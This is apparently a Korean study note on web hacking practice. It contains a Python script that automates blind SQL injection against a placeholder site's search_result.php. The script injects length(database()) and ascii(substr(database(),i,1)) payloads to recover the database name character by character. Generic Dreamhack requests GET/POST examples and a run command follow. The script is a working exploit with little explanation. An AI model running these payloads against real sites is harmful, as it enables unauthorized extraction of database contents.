header 선별

요청 패킷의 해더를 하나씩 삭제하고 보내는 과정에서

필요한 헤더들을 선별

 

 


request 모듈 사용

import requests

# 데이터베이스 이름의 길이를 찾는 부분
length = 0
for lengths in range(1, 30):
    url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20length(database())={0}%20--%20".format(lengths)
    res = requests.get(url)
    if "2949" in res.text:  # 특정 문자열로 길이를 식별
        print("\n  데이터베이스명의 길이는 {0}".format(lengths))
        length = lengths
        break
    else:
        continue

# 데이터베이스 이름을 추출하는 부분
db_name = ""
for i in range(1, length + 1):
    for j in range(33, 127):
        url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20ascii(substr(database(),{0},1))={1}%20--%20".format(i, j)
        res = requests.get(url)
        if "2949" in res.text:  # 특정 문자열로 문자 식별
            db_name += chr(j)
            break

print("\n  데이터베이스 명: {0}".format(db_name))

예시

 

 

참고

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

requests 모듈 GET 예제 코드

 

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

requests 모듈 POST 예제 코드

 

 


실행 (cmd)

py [파일명]

 

+ Recent posts